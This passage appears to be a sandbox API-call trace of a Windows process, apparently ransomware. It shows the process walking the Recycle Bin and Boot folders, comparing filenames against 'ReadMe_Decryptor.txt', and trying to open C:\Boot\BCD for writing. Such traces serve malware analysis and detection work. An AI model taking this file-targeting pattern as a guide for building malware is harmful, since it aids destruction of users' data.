lpFindFileData=0x235f880*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.924] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0033.924] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0033.924] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0033.924] lstrcmpW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2=".") returned 1 [0033.924] lstrcmpW (lpString1="S-1-5-21-3388679973-3930757225-3770151564-1000", lpString2="..") returned 1 [0033.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564cb0 [0033.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564cb0 | out: hHeap=0x540000) returned 1 [0033.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564cb0 [0033.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564cb0 | out: hHeap=0x540000) returned 1 [0033.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0033.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0033.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0033.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0033.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x560008 [0033.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0033.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564cb0 [0033.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564cb0 | out: hHeap=0x540000) returned 1 [0033.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564cb0 [0033.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564cb0 | out: hHeap=0x540000) returned 1 [0033.924] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564cb0 [0033.924] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564cb0 | out: hHeap=0x540000) returned 1 [0033.925] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0033.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0033.925] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564cb0 [0033.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564cb0 | out: hHeap=0x540000) returned 1 [0033.925] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0033.925] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0033.925] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x560070 [0033.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0033.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0033.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0033.925] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x561fe0 [0033.925] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562068 [0033.925] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0033.925] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0033.925] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.928] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0033.928] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0033.928] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0033.928] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0033.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x562280 [0033.928] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xbe) returned 0x562308 [0033.928] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562280 | out: hHeap=0x540000) returned 1 [0033.928] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562068 | out: hHeap=0x540000) returned 1 [0033.928] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0033.928] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0033.928] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.928] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0033.928] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0033.928] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562308 | out: hHeap=0x540000) returned 1 [0033.928] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0033.928] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0033.928] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0033.929] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0033.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560070 | out: hHeap=0x540000) returned 1 [0033.929] FindClose (in: hFindFile=0x563880 | out: hFindFile=0x563880) returned 1 [0033.929] FindFirstFileExW (in: lpFileName="C:\\$Recycle.Bin\\*", fInfoLevelId=0x0, lpFindFileData=0x235f880, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f880) returned 0x563880 [0033.929] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.929] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0033.929] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0033.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0033.929] FindClose (in: hFindFile=0x563880 | out: hFindFile=0x563880) returned 1 [0033.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.929] FindNextFileW (in: hFindFile=0x5597f8, lpFindFileData=0x235fb70 | out: lpFindFileData=0x235fb70*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0033.929] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0033.929] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0033.929] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.929] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.929] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.929] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.929] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x563880 [0033.929] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563880 | out: hHeap=0x540000) returned 1 [0033.929] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x563880 [0033.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563880 | out: hHeap=0x540000) returned 1 [0033.930] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x563880 [0033.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x563880 | out: hHeap=0x540000) returned 1 [0033.930] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.930] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.930] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.930] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.930] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.930] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.930] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.930] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.930] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0033.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0033.930] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0033.930] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x561fe0 [0033.930] FindFirstFileExW (in: lpFileName="C:\\Boot\\*", fInfoLevelId=0x0, lpFindFileData=0x235f880, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f880) returned 0x563880 [0033.930] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0033.930] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.931] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0033.931] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0033.931] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0033.931] lstrcmpW (lpString1="BCD", lpString2="ReadMe_Decryptor.txt") returned -1 [0033.931] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0033.931] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0033.931] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0033.931] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0033.931] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0033.931] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0033.931] lstrcmpW (lpString1="cs-CZ", lpString2=".") returned 1 [0033.931] lstrcmpW (lpString1="cs-CZ", lpString2="..") returned 1 [0033.931] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0033.931] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0033.931] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.931] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.932] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.932] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0033.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0033.932] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0033.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0033.932] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0033.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0033.932] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x560008 [0033.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0033.932] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.932] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.932] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.932] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.932] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.932] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0033.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0033.932] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0033.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0033.932] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0033.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0033.932] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0033.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0033.932] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0033.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0033.932] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0033.932] HeapFree (in: hHeap=0x540000, dwFlags=0x0, 